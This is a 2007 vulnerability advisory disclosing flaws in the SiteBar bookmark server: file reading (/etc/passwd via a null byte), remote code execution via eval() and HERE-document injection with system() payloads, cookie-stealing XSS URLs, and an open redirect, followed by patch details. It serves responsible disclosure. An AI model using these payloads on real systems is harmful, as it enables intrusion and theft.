4 related parts: 1) SiteBar application has single high risk issues with its translation module. It can can be made to retrieve any file to which the web server user has read access. 2) SiteBar application has multiple high risk issues with its translation module. It can be made to execute arbitrary code to gain remote access as the web server user typically nobody. 3) SiteBar application has multiple medium risk issues where it is vulnerable to Javascript injection within the requested URL. 4) SiteBar application has single medium risk issue where it is vulnerable to malicious redirects within the requested URL. Technical Details 1) The SiteBar application translation module can be made to read any arbitrary file that the web server user has read access to, as it makes no sanity checks on the value passed within the dir parameter of the URL, for example: http://192.168.1.1/translator.php?dir=/etc/passwd%00 Note the use of %00 to terminate the malicious and so prevent the intended string concatenation occuring. 2) The SiteBar application translation module can be forced into code execution can occur in one of two ways. Firstly, it makes no sanity checks on the value passed within the edit parameter prior to using the value as part of an eval() call, for example: http://192.168.1.1/translator.php?lang=zh_CN&cmd=upd&edit=$GET[%22lang%2 2];system(%22uname%20-a%22); Secondly, whilst modifying strings within a translation, it makes no sanity checks on the value passed for a given string to be embedded within a HERE document within the languages strings library. It is therefore possible to terminate the HERE document and pass arbitrary code which will be executed whenever the languages strings library is included, for example: POST http://192.168.1.1/translator.php?lang=test&edit=text HTTP/1.1 Host: 192.168.1.1 Referer: http://192.168.1.1/translator.php?lang=test&edit=text Cookie: SB3COOKIE=1; SB3AUTH=3efab8d1dc9a149d7d1d7866a33d2539 Content-Type: application/x-www-form-urlencoded Content-length: 47497 dir=&label%5B0%5D=The+Bookmark+Server+for+Personal+and+Team+Use&md5%5B0% 5D=823084516ae27478ec4c5fd40fb32ea8&value%5B0%5D=_P; system('id'); ?> Note that _P terminates the HERE document. 3) The values of the URL requested are used in within the web pages returned by the various scripts, in their unsanitised form. Specifically, it makes no sanity checks on the value passed within the multiple parameters of the URL, for example: http://192.168.1.1/integrator.php?lang="><script>alert('xss')</script> - Allows ' http://192.168.1.1/command.php?command=New+Password&uid=&token="><script >alert(document.cookie)</script> - Does not allow ' http://192.168.1.1/command.php?command=Folder%20Properties&nid_acl=%3Csc ript%3Ealert(document.cookie)%3C/script%3E - Does not allow ' http://192.168.1.1/index.php?target=%22%3E%3Cscript%3Ealert(document.coo kie)%3C/script%3E - Does not allow ' http://192.168.1.1/command.php?command='%3Cscript%3Ealert(document.cooki e)%3C/script%3E - Does not allow ', this one turned out to be CVE-2006-3320. http://192.168.1.1/command.php?command=Modify%20User&uid=%22%3E%3Cscript %3Ealert('xss')%3C/script%3E - Allows ' Note that CVE-2006-3320 had not been resolved at the time of testing, in September 2007, and so we included it in our vulnerability report to the vendor for completeness. 4) Finally, the SiteBar can be made to redirect users to malicious locations, as it makes no checks on the value passed within the forward parameter of the URL, for example: http://192.168.1.1/command.php?command=Log%20In&forward=http://www.googl e.com/ Solutions Following vendor notification on the 27th September 2007, the vendor promptly responded with an initial patch on the 7th October which has been attached along with this advisory and which resolved the reported issues. Nth Dimension would recommend applying this patch as soon as possible. Alternatively, from 3.3.9 (available at http://sitebar.org/downloads.php) onwards also include this patch. Nth Dimension would like to thank Ondraj from the SiteBar team for the way he worked to resolve the issue. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHFo3OVAlO5exu9x8RAhLWAJ0Vw4cessVBHnFMswYp6aDlmriDnwCfXpil wyDF4P/iRQ5Ab7FqJFutWBA= =Oqb/ -----END PGP SIGNATURE-----